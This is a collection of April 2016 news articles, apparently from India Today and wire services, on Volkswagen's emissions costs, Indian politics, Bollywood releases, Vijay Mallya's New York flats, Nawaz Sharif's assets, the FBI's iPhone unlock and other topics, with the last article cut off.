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The announcement came ahead of a news conference at its Wolfsburg headquarters that follows the outlines of a deal with US environmental authorities.

The company had delayed its earnings announcement until it could get a better estimate of the costs involved.

By AP: German carmaker Volkswagen said Friday that it is to take a 16.2 billion-euro ($18.2 billion) hit in its 2015 accounts related to a diesel-emissions scandal identified in the US last year.

ALSO READ: Volkswagen, US reach diesel emissions deal

The announcement came ahead of a news conference at its Wolfsburg headquarters that follows the outlines of a deal with US environmental authorities.

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Under the terms of the proposed deal, Volkswagen would offer to buy back almost 500,000 cars equipped with software that let the cars to cheat on emissions tests.

ALSO READ: VW owners can pick buybacks, fixes in emissions deal

The company had delayed its earnings announcement until it could get a better estimate of the costs involved. Analysts say the total costs in fines, legal judgments and lost sales will be significantly higher.

Volkswagen also said it will not be able to release results of an internal probe of its emissions scandal this month as expected. The company now says the probe conducted by US law firm Jones Day could be completed by year end.

The company said early release of partial results would interfere with settlement negotiations in the US and could interfere with cooperation with US law enforcement.

ALSO READ: US sues VW over false 'Clean Diesel' advertising claims

However, it said will post an after-tax loss of 1.36 billion euros for 2015 and a net loss of 5.5 billion euros.

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AAM Aadmi Party MLA from Chandni Chowk, Alka Lamba has been summoned by a Delhi court for allegedly vandalising the shops that were owned by BJP MLA OP Sharma's brother and deterred the police personnel from performing their duties at Kashmere Gate.

By Sneha Agrawal: AAM Aadmi Party MLA from Chandni Chowk, Alka Lamba has been summoned by a Delhi court for allegedly vandalising the shops that were owned by BJP MLA OP Sharma's brother and deterred the police personnel from performing their duties at Kashmere Gate.

Metropolitan Magisterate, Abhilash Malhotra on Thursday took cognisance of the chargesheet filed by the police against the MLA and summoned her on May 18. Lamba has been booked under Sections 186 (Obstructing public servant in discharge of public functions), 353 (assault or criminal force to deter public servant from discharge of his duty), 427 (Mischief causing damage to the amount), 451 (House-trespass in order to commit offence punishable with imprisonment), 34 (Acts done by several persons in furtherance of common intention) of the IPC.

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The police in its chargesheet mentioned that on August 9, 2015, Alka Lamba along with her supporters gathered near Hanuman Temple and tried to create nuisance and threatened shopkeepers to shut their shops. The police officials present on the spot tried to stop but she did not obey and forcibly entered the shop no. 1849 and scattered the cash bill machine. Lamba had earlier told agencies that the shop belonged to BJP MLA OP Sharma and the attack took place outside his shop and the attacker was also AAP MLA Alka Lamba caught from this shop.

Also Read: OP Sharma suspended for two assembly sessions for comment on Alka Lamba

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By India Today Web Desk: As children, we have all had that experience of collecting coins and saving up on our precious pocket money in order to gift ourselves some big purchase in the end.

However, a 7-year-old boy's story ended on a completely different note, courtesy e-commerce website Amazon, ensuring that his quest to get a lightsaber ended in a rather dramatic manner.

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Also read: This girl got expelled from her sorority, so Tinder offered her a scholarship

After watching Star Wars: The Force Awakens, Delhi boy Rudra wanted a lightsaber that he had seen in the film. Instead of handing him what he wanted right away, his mother asked him to save the money required to purchase the object of his desire.

Having saved the money in coins, Rudra was unsure whether he would be able to pay using cash on delivery on ordering from Amazon. In a post shared by his mother, Banani Sarker Joshi, on social media, she said, "Now I possibly couldn't change them for notes, so I fibbed that he should write to Amazon.in if they would accept coins if he did a cash on delivery (sic)."

Picture courtesy: Facebook/banani.s.joshi

Penning a letter to the e-commerce brand asking the question, the e-commerce website's reply probably had him breaking into squeals of delight.

Amazon replied by not only sending the boy a lightsaber for free but the gift was also accompanied by a rather cute letter with all sorts of Yoda-level awesomeness. Posting pictures, his mother also wrote, "The response from Amazon blew us away. No wonder they are the very best. They sent him a lightsaber as a gift and what better day to receive it than on Bengali new year day. THANKS A TON #Amazon. You made his day (sic)."

Pictures courtesy: Facebook/banani.s.joshi

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The fans of Shraddha Kapoor and Tiger Shroff were in for a surprise when the makers of Baaghi released a brand new poster from the upcoming film. With just a week left for the film to hit the screens, the makers are doing everything to keep up the curiosity level.

By India Today Web Desk: The fans of Shraddha Kapoor and Tiger Shroff were in for a surprise when the makers of Baaghi released a brand new poster from the upcoming film. With just a week left for the film to hit the screens, the makers are doing everything to keep up the curiosity level.

ALSO READ: I would love to hold a screening of Baaghi for Hrithik Roshan, says Tiger Shroff

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ALSO READ: Watch Tiger Shroff and Shraddha Kapoor's kicking-punching love story in Baaghi trailer



Tiger and Shraddha, who will be seen together on 70mm for the first time, have shared yet another intense and hot look from the film.

Shraddha, who has shed her girl-next-door image for Baaghi, took to Twitter to share the new poster.

Be it the melodious songs or the much-talked-trailer, the crackling chemistry between Tiger and Shraddha have already caught the fancy of the fans. And this new poster only adds fuel to the fire.

Directed by Sabbir Khan, Baaghi tells the story of two rebels who are ready to go to any lengths to fight for their love. The film is set to hit the screens on April 29.

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The first poster of Sidharth Malhotra and Katrina Kaif's film Baar Baar Dekho is finally out. Produced by Ritesh Sidhwani, Karan Johar and Farhan Akhtar, the film has been directed by debutant Nitya Mehra.

By India Today Web Desk: The first poster of Sidharth Malhotra and Katrina Kaif's film Baar Baar Dekho is finally out. Produced by Ritesh Sidhwani, Karan Johar and Farhan Akhtar, the film has been directed by debutant Nitya Mehra. Sidharth took to micro-blogging site Twitter to share the first poster of his upcoming film.



So here it is the first poster of #BaarBaarDekho #BaarBaarDekhoFirstLook #KatrinaKaif releasing 9th Sep 2016 ! pic.twitter.com/slqvqHiWve Sidharth Malhotra (@S1dharthM) April 21, 2016

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In the first poster, Sidharth is seen shirtless and Katrina looks hot in her orange bikini. You can also notice the montage shots of different ages that Sidharth and Katrina will play in the film. Known to be time travel drama, one can also see a clock in the first poster of the film.

This is the first time that Sidharth and Katrina will share the screen space together on the silver screen. Just yesterday, Sidharth had shared the first looks of the film.

In one of the pictures, Katrina is seen sporting a short hairdo with glasses and is hugging Sidharth. And in the another picture, the two are seen walking on a beach, talking and laughing. Reportedly, Sidharth will play the role of a Maths teacher in the film.

Talking about the film, Sidharth had earlier said, "It's a unique concept. In Hollywood, they have all these fictitious films like Bruce Almighty. There are films where the universe gives you an opportunity; it's in that zone. It has not been done in India recently. Rather, it has not been done here successfully. So we are taking the leap of faith to portray something which is part fiction and part reality. We are doing it in a very intimate way. It's about what happens in this character's life and to the one he loves. And what happens to that love from the ages 18 to 60."

Directed by Nitya Mehra, the film has been extensively shot in Glasgow, Scotland, Krabi island and Delhi. Baar Baar Dekho will hit the theatres on September 9 this year.

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The revelations put BJP in a soup as according to its Agenda of Alliance with the PDP, it has to buy back two power projects from NHPC and revise royalties earned by the state.

By Naseer Ganai: Pressure on the PDP-BJP alliance in Jammu and Kashmir is likely to increase in light of revelations that the National Hydroelectric Power Corporation (NHPC) earned Rs 194 billion in 14 years from the state a part of this profit is supposed to go to the state under a pact between the two ruling parties.

The PSY revealed its earnings in response to an RTI application filed by a Delhi-based NGO Commonwealth Human Rights Initiative (CHRI).

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"From 2001 to 2015 NHPC earned more than Rs 194 billion from the sale of power generated in Jammu and Kashmir to all power utilities including Jammu and Kashmir. NHPC earned a little more than Rs 41 billion from Jammu and Kashmir in this period," CHRI said. "Multiple power utilities, some of which are part of the private sector in Haryana, Rajasthan and Delhi, bought power generated in Jammu and Kashmir from NHPC. Punjab actually bought more power than Jammu and Kashmir during the entire period," it added.

NHPC's response shows Jammu and Kashmir as a power surplus state which supplies power across northern India. This however, puts BJP in a soup as according to its Agenda of Alliance with the PDP, it has to buy back two power projects from NHPC and revise royalties earned by the state.

The PDP-BJP Agenda of Alliance granted Jammu and Kashmir a share in profits of NHPC emanating from Jammu and Kashmir waters and a revision of all royalty agreements. It also promised the State Government will work with the Union Government to explore modalities for transfer of 390 MW Dulhasti and 480 MW Uri hydro power projects to Jammu and Kashmir as suggested by the Rangarajan Committee Report and the Round Table reports.??

Jammu and Kashmir's total power demand is around 2100 MW and any deficit in the energy is met by import from Northern Grid. The cost of import has been eating into the state's fragile economy, with its power purchase bill going up to Rs 2,900 crore. Jammu and Kashmir's total revenue generation is around Rs 4,000 crore.

A senior PDP leader told Mail Today their policy was consistent on the issue. "Why should Jammu suffer on account of lack of electricity when temperature goes above 40C and why should Kashmir suffer in sub-zero temperature in winters? Addressing power woes of the state is within reach of the government and I think state BJP and PDP are on the same page on the issue,?? he said.

NHPC, with a total generation capacity of more than 2000 MW in Jammu and Kashmir, has remained a bone of contention in the state for the last decade. The situation worsened three years ago, when it went to high court against a state government decision to impose a water-cess.

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Taj Mohideen, the irrigation minister under Omar Abdullahs government, described it as the East India Company in the state. He told Mail Today that Jammu and Kashmir earned Rs 3,600 crores from NHPC and JKPDC on the water cess over last six years and the money should be utilized to buy back at least the Uri project at this stage.

A panel constituted during UPA-1 by the then Prime Minister Manmohan Singh had proposed transfer of the 390 MW Dulhasti Power project from NHPC to state government. However, there have been no developments in this regard so far.

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The spat between India and China over blocking sanctions on Jaish-e-Mohammad chief Masood Azhar may further widen with Beijing declaring its expectation from India, which involves "bringing to justice" a Chinese Uyghur exile - who has been invited to India next week - deemed a "terrorist" by Beijing.

By Ananth Krishnan: The spat between India and China over blocking sanctions on Jaish-e-Mohammad chief Masood Azhar may further widen with Beijing declaring its expectation from India, which involves "bringing to justice" a Chinese Uyghur exile - who has been invited to India next week - deemed a "terrorist" by Beijing.

The Chinese Foreign Ministry told Mail Today in a statement that Dolkun Isa, a leader of the exiled group World Uyghur Congress (WUC), who is among several Chinese exiles and dissidents invited to take part in an April 28 conference in Dharamsala, was "a terrorist" and that it was "a due obligation" of all countries to "bring him to justice".

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This follows reports that India has issued a visa for Isa to enable him to attend the conference, which is being organised by a United States-based organisation called Initiatives for China. It is a pro-democracy group, whose president Yang Jianli was among the student protesters at Tiananmen Square in 1989. The meeting is expected to bring together Uyghurs, Tibetans and other dissidents and exiles, under the theme of discussing democratic transformation in China.

The visit of the Uyghur exile is set to create fresh strains in wake of both the sides already grappling with the Masood Azhar issue. While Dolkun Isa has not yet confirmed his attendance, reports in India say that he has been issued a visa.

This move can in no way be supported by Beijing, which has called on countries to arrest Isa and has blamed him for organising terrorist activities in the Muslim-majority western Xinjiang region, home to the Uyghurs, who are one of the 55 minorities in China.

Isa was in 2009 barred from entering South Korea after appearing on a terrorist blacklist. At the time, Chinese State media reports said he was wanted by the Ministry of Public Security for bombings in Toksu, in Xinjiang, in the 1990s. Isa left China in 1997 and was granted asylum in Germany, where he has been living ever since.

China has accused Isa's World Uyghur Congress for fomenting violence in Xinjiang, most notably in 2009, when mass riots claimed at least 197 lives. The WUC has rejected the charges, saying it is working to highlight repression faced by Uyghur minorities.

On the Dharamsala meeting, the Foreign Ministry spokesperson in Beijing said in the statement to Mail Today, "I am not aware of the situation". The statement added: "What I want to point out is that Dolkun Isa is a terrorist on the red notice of Interpol and the Chinese police. Bringing him to justice is a due obligation of relevant countries".

This comes in the wake of National Security Adviser Ajit Doval's talks in Beijing on the Azhar issue, with both sides taking up the discussion on how to better align their counter-terrorism strategies amid recent differences

Doval told Mail Today on Thursday - before departing for New Delhi - both sides spoke on counter-terrorism and other common strategic issues in the 19th round of border talks. The Azhar issue figured as part of those discussions on counter-terror. Doval raising the issue has underlined India's strong stand on China's move at the UN 1267 sanctions committee to place a technical hold on its application to list Azhar. External Affairs Minister Sushma Swaraj hit out at the "double standards" on terrorism at Monday's Russia-India-China meeting in Moscow and also expressed India's strong concerns to her Chinese counterpart Wang Yi. Defence Minister Manohar Parrikar, who was also in Beijing, had raised the issue in the meetings with the PLA leadership.

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On Thursday, Doval met with Chinese Premier Li Keqiang at the Zhongnanhai central leadership compound in Beijing, where the Communist Party leadership usually hosts top visiting leaders. He said that India was looking forward to President Pranab Mukherjee visit to China next month. This would be his maiden visit to China as President.

Also Read: Exclusive: NSA Doval raises Masood Azhar veto issue with China



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India Today has found Vijay Mallya failed to disclose in successive annual affidavits as a member of Parliament, three big ticket apartments in New York's iconic Trump Plaza.

Enforcement Directorate sources say they are investigating whether Mallya used money loaned by state-owned banks to buy these apartments, though the erstwhile "King of Good Times" has denied using funds borrowed from public sector banks (PSBs) to purchase

Debt-laden drinks baron Vijay Mallya failed to disclose in successive annual affidavits as a Member of Parliament three bigticket apartments he owns in New York's iconic Trump Plaza, India Today has found.

The beleaguered tycoon, who is wanted in India for unpaid loans worth Rs 9,000 crore, bought two of the flats jointly with his then minor daughter, Tanya, but the third is solely in his name.

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High-level sources in the Enforcement Directorate (ED) confirmed to India Today that the agency is scrutinising these New York City apartments, which Mallya withheld from Parliament.

Owning a property abroad is not a crime. But all MPs are required to file an annual affidavit, submitting a full list of their assets.

The hard-partying businessman, who flew to London last month amid a raging battle with creditors, told the Supreme Court on Thursday that banks have no right to details of the properties he owns overseas.

India Today has inspected Mallya's affidavits in Parliament from 2010 to 2014. In none of them has he disclosed that he owns three luxury flats in the heart of New York's Manhattan.

ED sources say they are investigating whether Mallya used money loaned by state-owned banks to buy these apartments, though the erstwhile "King of Good Times" has denied using funds borrowed from public sector banks (PSBs) to purchase real estate abroad.

All three flats are located at the tower owned by Donald Trump, the Republican frontrunner nominee for this year's US Presidential elections. According to documents accessed by India Today from the office of the city register at NYC's department of finance, Mallya bought for Rs 6.3 crore his first flat at the Trump Plaza on March 3, 2010.

The address in the records is 39-D, 167 East 61st Street. The ownership of this super luxury flat is in the name of Vijay Mallya as the natural guardian and Tanya Mallya, who was a minor at the time.

Two months later, on May 19, 2010, he bought another flat, this time a penthouse, at the same address. Once again, Vijay Mallya is listed in the New York City records as the owner and natural guardian, and Tanya Mallya is shown as the co-owner. The address listed is PHE, 167 East 61st Street. This penthouse cost him Rs 15.9 crore.

Mallya bought his third apartment at the Trump Plaza on September 16 the same year for Rs 7.9 crore. This property is solely in his name and the address in the public records is 38 PHA, 167 East 61st Street. The combined value of the flats at the time of purchase was Rs 30.1 crore.

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On June 4, 2010, Mallya submitted an affidavit when he was appointed a member of the Rajya Sabha with the support of the Janta Dal (Secular) and BJP. As required by parliamentary procedures, he updated this affidavit every year, with the most recent one being submitted in 2014.

In these legal declarations, he laid out all his movable and immovable assets. Mallya listed his stake in United Breweries, Kingfisher Airlines, United Spirits, McDowell Holdings and a host of other investments valued at Rs 591 crore. He also declared the value of the estates in his name, a total of Rs 14 crore. However, he wrote "Nil" in the column where he was required to disclose the houses and apartments owned by him and his dependents.

Mallya had bought only one of the three properties at the time he filed the first affidavit. He had multiple opportunities subsequently to disclose the ownership of the apartments, but failed to do so.

The ED has told the courts that its investigation shows the flamboyant businessman bought foreign assets by misusing loans taken from state-owned banks. That is a charge the agency needs to prove. What cannot be disputed though is that Mallya owns properties overseas, which he failed to disclose as an MP.

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A Mumbai special court this week issued a non-bailable warrant against him that can be executed if authorities force his return through deportation or extradition.

India Today sent multiple emails to Vijay Mallya and his official spokesperson. After three days of constant followups, the only response we got was "no comments".

Also Read: Mallya takes Rs 1.7-cr pay package from US brewery firm



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Najim Laachraoui, a 25 year-old Belgian, was one of the two bombers who blew themselves up at Brussels' airport on March 22.

A man, who police said is named Najim Laachraoui is seen in this undated photo issued by the Belgian Federal police on their Twitter site, on suspicion of involvement in the Brussels airport attack, on March 23, 2016. Photo: Reuters

By Reuters: Brussels airport bomber Najim Laachraoui was one of the men who held four French journalists captive for months in Syria, the lawyer of two of the former hostages told Reuters on Friday.

Najim Laachraoui, a 25 year-old Belgian, was one of the two bombers who blew themselves up at Brussels' airport on March 22, investigators have said. Thirty-two people were killed in the attacks on the airport and a metro station.

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"I can confirm that he was the jailer of my clients," Marie-Laure Ingouf, a lawyer for two French journalists freed in April 2014 after spending 10 months as hostages in Syria, told Reuters.

An engineering sciences student who dropped out of university, Laachraoui is believed to have had the technical training that could mean he was the armourer of the operation.

Le Parisien daily on Friday quoted intelligence sources as saying Laachraoui was in charge of interrogating the hostages and was less brutal to them than Mehdi Nemmouche, a Frenchman who in May 2014 killed four people in an attack on Brussels' Jewish Museum.

One of the four former French hostages, Nicolas Henin, had in September 2014 said that he recognised Nemmouche as one of his Syria jailers.

Also read:

Modi in Brussels: India will never bow to terrorism

Group that hit Brussels planned another France attack

Brussels attacks: Here are the 10 big developments



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The opposition Congress has given notice to Rajya Sabha Chairman Hamid Ansari, seeking the passage of a resolution condemning the Modi government for the "destabilistion" of the Uttarakhand government and imposition of President's Rule in the state.

The Congress is likely to make Uttarakhand a major issue in Parliament when it reconvenes on Monday.

By India Today Web Desk: Signalling a stormy start to the second half of Parliament's Budget session starting Monday, the opposition Congress has given notice to Rajya Sabha Chairman Hamid Ansari, seeking the passage of a resolution condemning the Narendra Modi government for the "destabilistion" of the Uttarakhand government and imposition of President's Rule in the state.

The next session of the Lok Sabha and the Rajya Sabha will commence on April 25 and is likely to continue till May 13 as part of the second leg of the Budget session of Parliament, which was prorogued midway. The Budget session of Lok Sabha was prorogued, in a rare development, in the middle of it to enable the government to issue an Ordinance for authorising expenditure beyond April 1 in the then centrally-ruled Uttarakhand.

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On Thursday, the Uttarakhand High Court ordered the reinstatement of the Harish Rawat government, setting aside the Presidential proclamation imposing central rule and delivering a major blow to the Centre. The verdict has been challenged by the Modi government in the Supreme Court today.

But the Congress, buoyed by the High Court order, is likely to make Uttarakhand a major issue in Parliament when it reconvenes on Monday. It is also likely to raise questions over the imposition of President's Rule earlier in Arunachal Pradesh, another state ruled by the party.

The Congress resolution seeks to "deplore" the "destabilisation" of the democratically elected government in Uttarakhand and "disapprove" the "unjustified" imposition of President's Rule there under Article 356 of the Constitution.

After the dismissal of the Rawat government and clamping of the central rule, the Congress had mounted an offensive against the Narendra Modi dispensation. The party had started 'Loktantra Bachao, Uttarakhand Bachao' (Save Democracy, Save Uttarakhand) campaign to mobilise public support against the Centre.

Today, the Uttarakhand Cabinet met and decided to convene a session of the Assembly on April 29, paving the way for Rawat to go for a floor test as directed by the High Court.

ALSO READ | Shiv Sena slams Modi govt for imposing President's Rule in Uttarakhand

Modi government moves Supreme Court seeking stay on Uttarakhand HC order: 10 developments



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By PTI: Los Angeles, Apr 22 (PTI) Filmmaker Alfonso Cuaron will reportedly be consultant on Warner Bros "The Jungle Book" adaptation.

Warner Bros has been making its own version of the classic Rudyard Kipling stories with actor-director Andy Serkis, at the helm.

Sources say that Cuaron will "consult" on the project, a Hollywood term that encompasses a lot of vague tasks from assisting in directing to even postproduction work, according to The Hollywood Reporter.

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The studio earlier this month pushed back the release date of the movie, which has been in production since March 2015, from October 6, 2017, to over a year later, October 19, 2018.

"Jungle Book" is Serkis first big feature after doing second-unit directing work on the three Hobbit movies. PTI PSH ASV

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By PTI: From Yoshita Singh

New York, Apr 22 (PTI) India has said that developed nations should encourage renewable energy programmes and not "put a spoke into it" as it termed "unfortunate" a recent WTO ruling against its power purchase agreements with solar firms.

Environment Minister Prakash Javadekar, who is here to sign the historic Paris climate change agreement at the United Nations today, said he will use the occasion to raise the "unfortunate" case of the US going to the WTO on the issue.

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"I will definitely raise (this issue) in my speech. This is unfortunate, not the ruling, even America going to WTO, that is unfortunate," he told PTI here.

Javadekar added that India has launched the worlds largest renewable program and reserved a "very small" part of it for Indian manufacturers.

Yet, if that is being "challenged without seeing the things in proper context and perspective" and on technical grounds, it is discouraging for the developing nations, he said.

Such an action "discourages. This is not multilateralism. We must encourage" nations undertaking clean energy programs.

"India generating 175 GW of renewable energy is the biggest program. One should not put a spoke into it. You are lecturing one thing and practicing the exact opposite," he said.

He said while it is up to the Commerce Ministry to take a call on how to proceed with the matter, "such things should not happen."

Ruling against India, WTO had recently said the governments power purchase agreements with solar firms were "inconsistent" with international norms -- a matter in which the US had filed a complaint before the global trade body alleging discrimination against American firms.

The US had dragged India to WTO on this issue in 2014, alleging the clause relating to Domestic Content Requirement (DCR) in the countrys solar power mission were discriminatory in nature and "nullified" the benefits accruing to American solar power developers.

Javadekar will join heads of state, foreign ministers and other representatives from more than 165 countries who will sign the historic climate change agreement reached in Paris last December at the signature ceremony hosted by UN Secretary-General Ban Ki-moon.

The large number of countries will set a record for the most countries to sign an international agreement on one day, previously set in 1982, when 119 countries signed the Law of the Sea Convention. MORE PTI YAS ZH

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By PTI: Chennai, Apr 22 (PTI) The Election Commission today ordered the transfer of J Kumaragurubaran, Managing Director of state-run Tamil Nadu Arasu Cable TV Corporation (TACTV), in the wake of complaints from opposition parties including DMK.

A top electoral official confirmed that the EC has ordered the transfer of the IAS officer Kumaragurubaran.

Earlier, DMK had petitioned the EC, alleging that the state-run multi-system operator (MSO) was being used as a "propaganda machinery" of the ruling AIADMK, with its party chief J Jayalalithaas pictures being shown all through the day alongwith government programmes.

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It had also complained that signals of opposition parties run TV channels like Sun News and Kalaignar News (both DMK) and Captain News (DMDK) became weak during programmes critical of the Chief Minister.

The DMK had then sought for the transfer of Kumaragurubaran and TACTV Chairman Udumalai K Radhakrishnan, who is the AIADMK candidate from Udumalaipet constituency for the May 16 Assembly polls.

PMK, which owns Makkal TV had also raised similar concerns earlier. PTI SA RC ANP

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The prime minister is among the few billionaires in the National Assembly, the others being Petroleum Minister Shahid Khaqan Abbasi and Khyber Pakhtunkhwa lawmakers Khayal Zaman and Sajid Hussain Toori.

By Press Trust of India: Amidst the Panama Papers leak row, Pakistan Prime Minister Nawaz Sharif has emerged as one of the richest politicians in Pakistan with a personal assets of Rs 2 billion, an increase of over a billion in just four years.

The Election Commission on Thursday released the assets statements of Sharif for 2015 who as per law, updated the election body about their wealth.

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The value of the assets owned by Sharif and his spouse adds up to around Rs 2 billion, an increase of over a billion in just four years.

However, he does not own any property abroad.

The value of his assets in 2011 was Rs 166 million, which swelled to Rs 261.6 million in 2012 and then to Rs 1.82 billion in 2013, making him a declared billionaire.

The Election Commission said that Sharif received over Rs 215 million from his son Hussain Nawaz in 2015. He had previously received remittances from his son, worth Rs 239 million and Rs 197.5 million in 2014 and 2013 respectively.

The prime minister is among the few billionaires in the National Assembly, the others being Petroleum Minister Shahid Khaqan Abbasi and Khyber Pakhtunkhwa lawmakers Khayal Zaman and Sajid Hussain Toori.

The Prime Minister owns a Toyota Land Cruiser, gifted to him by an unspecified individual, as well as two Mercedes vehicles, the Dawn reported.

The house he lives in is owned by his mother. He also has multiple foreign and local currency accounts, huge swathes of agricultural land and investments in industrial units such as sugar, textile and paper mills. He also declared, for the first time, ownership of birds and animals worth Rs 2 million.

His wife, Kulsoom Nawaz, has land and a house in Changa Gali, Abbottabad, that is worth Rs 80 million, a bungalow on The Mall in Murree, worth Rs 100 million, as well as shares in the family business.

The statements of assets were released amidst the ongoing controversy around the Panama Papers leak that has reportedly exposed the secret offshore dealings of around 140 political figures globally.

Three of Sharif's children were named in the 'Panama Papers' as having offshore holdings.

Sharif's two sons - Hassan and Hussain - live abroad and believed to be billionaires in their own right.

Sharif's son-in-law, retired Captain Mohammad Safdar, has only listed one property and 550 grams of jewellery in the name of his wife, Sharif's daughter Maryam Safdar.

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Property owned by Safdar, according to the ECP statement, is a BMW car, which was gifted to her by someone in the UAE, while her jewellery is worth Rs 1 million.

Another wealthy person from the Sharif family is Hamza Shahbaz Sharif, the prime minister's nephew and son of Punjab Chief Minister Shahbaz Sharif, having a net worth of Rs 342.6 million.

Also Read: Panama Papers leak reveals Nawaz Sharif's offshore holdings

Panama Papers: Pak PM Sharif forms high-level probe panel



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The sneak-peek into the film reveals that the film has all the trademark elements of Goundamani: digs at political parties, one-liners and mockery of traditions. The actor is also seen taking pot shots at the Bollywood film PK.

Goundamani in a still from the film

By India Today Web Desk: Goundamani, who was last seen in the political drama 49-0, is back again as Caravan Krishnan in the upcoming comedy - Enakku Veru Yengum Kilaigal Kidaiyathu. The film is directed by Ganapathy Balakrishnan, an erstwhile assistant director of Pandiraj of Pasanga fame.

ALSO READ:Joker trailer - Guru Somasundaram shines in this riveting political drama



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ALSO READ: It's Mahesh Babu vs SJ Suryah in Murugadoss's next

The sneak-peek into the film reveals that the film has all the trademark elements of Goundamani: digs at political parties, one-liners and mockery of traditions. The actor is also seen taking pot shots at the Bollywood film PK.

The film also stars Riythvika of Madras fame, Soundaraj and Sathurangavettai Valavan in pivotal roles.

Music director SN Arunagiri, who has worked in Goli Soda, is composing the music for the upcoming film.

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FBI Director Comey, on Thursday said the cost of the tool was "more than I will make in the remainder of this job, which is seven years and four months, for sure."

By Press Trust of India: The FBI paid more than $ one million to a company to break into the locked iPhone used by a Pakistani-American shooter involved in the San Bernardino terror attack, Director James Comey has hinted.

Speaking at a security conference in London, Comey did not give the exact amount that the Federal Bureau of Investigation (FBI) paid to unlock the iPhone, but threw hints in his statement.

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Comey, according to media reports here, said yesterday the cost of the tool was "more than I will make in the remainder of this job, which is seven years and four months, for sure."

The Washington Post said the FBI Director makes $ 185,100 a year.

"As a result, Comeys remarks strongly implied that the bureau paid at least $ 1.3 million to get onto the phone, which had belonged to Syed Rizwan Farook, who with his wife, killed 14 people during the December 2 terror attack in San Bernardino, in California," the daily reported.

Farook, a Pakistani-American and his wife Tashfeen Malik, a Pakistani national, died in a firefight with police after the terror attack.

"But it was, in my view, worth it," Comey said in defence of his decision.

The Washington Post said FBI cracked the phone with the help of professional hackers who were paid a onetime flat fee.

However they were not able to find any links to foreign terrorists on the phone, it said.

"I am hoping that we can somehow get to a place where we have a sensible solution, or set of solutions, that does not involve hacking and does not involve spending tons of money in a way that is unscalable," Comey said.

The FBI chief underscored the need for a continued national conversation over the issues surrounding universal encryption and how that factors into the privacy versus security debate.

"This will be a feature of our work - there will be other litigation, I am sure - but it will be a feature of our work, increasingly, over the months and years to come," Comey added.

The FBI had taken Apple to court to force it to break into the encryption-protected iPhone 5C.

Apple, backed by technology giants such as Google and Facebook, was opposed to assisting the agency in unlocking the iphone, citing it would have wide-reaching implications on digital security and privacy.



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By PTI: Bhubaneswar, Apr 21 (PTI) Former Odisha Chief Minister Hemananda Biswal was today admitted to VSS Institute of Medical Science and Research (VIMSAR) in Burla following a chest pain.

Biswal has been admitted to the Intensive Care Unit (ICU) of the Cardiology department in the hospital and his condition is stated to be stable, sources said.

Biswal while returning from a programme at Thakurpada under Kirimira block, felt pain on his chest.

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He was first rushed to Jharsuguda Sadar Hospital last night and later shifted to VIMSAR today. PTI AAM SUS DBS

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Aditya Chopra and Rani Mukerji got married in an intimate ceremony in Italy on April 21, 2014. And now the two celebrated their second wedding anniversary in Paris with their little bundle of joy, Adira.

By India Today Web Desk: Aditya Chopra and Rani Mukerji got married in an intimate ceremony in Italy on April 21, 2014. And now the two celebrated their second wedding anniversary in Paris with their little bundle of joy, Adira.

ALSO READ: Rani Mukerji and Aditya Chopra blessed with a baby girl

ALSO READ: Here's what Rani Mukerji and Aditya Chopra are planning for baby Adira

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Aditya is in Paris for the shoot of his upcoming film Befikre. And reportedly, Rani and Adira have also accompanied him to the shoot. The two celebrated their wedding anniversary with the whole crew of Befikre on the film sets.

The two also spent some quality time with each other and their baby. Rani gave birth to Adira on December 9 at Mumbai's Breach Candy hospital. And since then, the Mardaani actor has been busy taking care of her four-month-old daughter.

Rani and Aditya have always maintained a low profile since their marriage. Their first anniversary was also a private affair, attended only by their close ones. They didn't confirm their relationship for almost eight years before they got married.

On the work front, Aditya has returned to direction after seven years for Befikre. The film is touted to a romantic drama and stars Ranveer Singh and Vaani Kapoor in the lead roles. Befikre is set to release on December 9 this year.

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In a big blow to the BJP which was preparing pitch to form government in Uttarakhand, the high court on Thursday quashed the proclamation of President's Rule and revived the Congress government headed by Harish Rawat who has been told to prove majority on April 29.

By Kumar Vikram: In a big blow to the BJP which was preparing pitch to form government in Uttarakhand, the high court on Thursday quashed the proclamation of President's Rule and revived the Congress government headed by Harish Rawat who has been told to prove majority on April 29.

Coming down heavily on the Centre for the March 27 proclamation under Article 356, a division bench of the high court headed by Chief Justice KM Joseph said the imposition of President's Rule was contrary to the law laid down by the Supreme Court.

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The high court, while pronouncing the verdict, said that status quo as on date of proclamation of President's Rule be restored. "The government led by petitioner Harish Rawat will revive,'" it said further.

A gap of more than a week's time for the floor test, which is scheduled on April 29, has left ample chances for horse trading of MLAs. Fearing this, local unit of Congress has sent its majority of MLAs in neighbouring Himachal Pradesh.

Meanwhile, BJP, whose plans to form a government in the state came to a naught following the court order, said it was not surprised by it going by the strong observations made by the Division Bench for the last three days

"We are not surprised by the judgement. With the kind of observations being made for the three days by the court, such an order was expected. There is a question on our mind as Chief Minister Harish Rawat, who was caught in a sting, has been given relief by the court. The Harish Rawat government was in a minority yesterday, it is in a minority today and tomorrow. It will be proved on April 29," party General Secretary Kailash Vijayvargiya said. He has been handling the Uttarakhand affairs since the political upheaval began there. Noting that the case of nine rebel Congress MLAs against their disqualification will come up for hearing before another bench of the high court on April 28, he wondered if the Division Bench's order had not prejudiced their case.

Out of the 61 MLAs in the state Assembly, excluding nine disqualified Congress MLAs and the Speaker, both Congress and BJP have 27 MLAs each while six MLAs belong to smaller outfits, who have been supporting the Rawat government. There is also a nominated member in the House. BJP is in touch with some of the six MLAs, sources said, as it works overtime to swell the numbers on its side.

BJP sources said the party can prove majority even without the nine Congress rebel MLAs as it believes that three independent MLAs will back the move. The party believes that getting President's Rule ratified in the Rajya Sabha would be challenging as the National Democratic Alliance is in minority. BJP leaders are likely to meet Uttarakhand Governor KK Paul soon.

Minutes after the Uttarakhand HC set aside President's Rule in the state, the Modi government had some advice sent its way by Arvind Kejriwal.

"This is a huge embarrassment to Modi govt. He shud stop interfering wid elected govts and respect democracy (sic)," tweeted the Delhi CM, who continues to wage his own battles against the Centre, which controls key functions in the Capital.

No embarrassment at all, said Union Minister of State for Home Kiren Rijiju, distancing the central government from the crisis and blaming the Congress for a 'constitutional breakdown' after several of its lawmakers rebelled against Chief Minister Harish Rawat.

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Also Read: Temporary wave of relief for Harish Rawat, gets another chance to prove majority

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By PTI: London, Apr 20 (PTI) Human limbs may have evolved from the gills of fishes such as sharks and skates, according to new study that provides evidence to support the century-old but widely discounted theory on the origin of limbs.

Unlike other fishes, cartilaginous fishes such as sharks, skates and rays have a series of skin flaps that protect their gills. These flaps are supported by arches of cartilage, with finger-like appendages called branchial rays attached.

